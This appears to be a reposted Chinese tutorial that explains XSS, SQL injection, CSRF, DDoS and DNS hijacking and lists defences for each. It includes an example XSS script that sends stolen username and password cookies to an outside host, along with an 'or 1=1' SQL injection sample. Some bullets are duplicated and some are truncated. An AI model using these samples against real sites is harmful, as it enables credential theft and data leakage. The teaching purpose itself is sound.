一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持

🎈XSS攻击

  • 全称跨站脚本攻击Cross Site Scripting
  • 为了与重叠样式表CSS进行区分,所以换了另一个缩写名称XSS
  • XSS攻击者通过篡改网页,注入恶意的HTML脚本,一般是javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式
  • XSS攻击经常使用在论坛,等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息
  • 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段javascript脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本
  • 当然这只是恶趣味,而真正的并不会仅仅满足这样的恶趣味,可能更多的是想通过这些注入脚本,获取你的个人信息,甚至是你的账号密码等信息
  • 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的cookie信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
  • 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端php中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝xss攻击在网络安全中非常的重要
  • 所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行消毒处理
  • 也就是过滤一些特殊的字符,比如javascript脚本中的进行转移再进行存储,这样就能有效的进行xss攻击的预防
  • 另外如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样也能有效的防止XSS攻击窃取cookie内容

🎈 注入

  • SQL注入攻击指的是攻击者在HTTP请求中注入恶意SQL命令,服务器用请求构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作,从而导致数据被随意篡改
  • 但是SQL注入攻击,需要攻击者对数据库表有所了解才行,比如你的项目开源了,不小心公开了数据库的账号和密码;另外你的网站上线没有关闭调试模式,有心者可以网站的根据错误回显可以猜测表结构;另外还有就是盲注,也即是很多有心者会盲猜数据表结构,但是这种难度最大
  • SQL注入可以通过预编译手段进行预防,绑定参数是最好的防SQL注入方法。现在流行的框架基本都实现了SQL预编译参数绑定,恶意攻击的SQL会被当做SQL的参数,而不是SQL命令被执行
# 正常获取用户信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用户表中的所有数据全部查出,导致数据泄露
select * from users where id=1 or 1=1

🎈攻击

  • CSRF全称Cross Site Request Forgery,跨站点请求伪造,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器Cookie或服务器的Session策略,盗取用户的身份信息
  • 在打开A网站的情况下,另开Tab页面打开恶意网站B,此时在B页面恶意意图下,浏览器发起一个对网站AHTTP请求
  • 因为之前A网站已经打开了,浏览器存有A网站中的Cookie或其他用于身份认证的信息,这一次被恶意意图的请求,将会自动带上这些信息,这将会导致身份劫持,造成并非本人意愿的操作结果
  • 而对应CSRF攻击的防御策略有:表单token验证码Referer 检测

🎈 DDOS 攻击

  • DDOS全称Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务,DDOS全称Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务
  • 在早期发起DoS攻击是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可,也就是一秒中请求服务多次,将目标服务器的
  • 后来随着技术的发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的CDN节点,也是就拥有着数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石,而且现在很多DDOS 攻击都不是免费的,所以很容易造成偷鸡不成蚀把米
  • 防御手段:随着技术发展到今天也并不能完全杜绝这种攻击的出现,只能通过技术去缓解。其中包括:流量清洗SYN Cookie等等

🎈 劫持

  • 当今互联网流量中,以HTTP/HTTPS为主的Web服务产生的流量占据了绝大部分
  • Web服务发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统,DNS提供将域名转换成地址的服务,每一个域名的解析都要经过DNS,所以可以看出它的重要性
  • 正是因为它的重要性,所以DNS劫持很容易被别有用心的人利用
  • 早期并没有考虑太多的安全性,所以导致DNS很容易被劫持
  • 如果攻击者篡改DNS解析设置,将域名由正常IP指向由攻击者控制的非法IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是DNS劫持
  • 如果攻击者篡改DNS解析设置,将域名由正常IP指向由攻击者控制的非法IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是DNS劫持
  • 如果攻击者篡改DNS解析设置,将域名由正常IP指向由攻击者控制的非法IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是DNS劫持
  • 另外可以安装SSL证书。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止

文章转自CSDN,原作者飞兔,版权归原作者所有,如有侵权请联系删除

给TA打赏
共{{data.count}}人
人已打赏
运维笔记

3 个 Zabbix常见问题的处理方法

2023-10-10 18:31:35

运维笔记

文件包含漏洞解析

2023-10-10 18:31:37

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索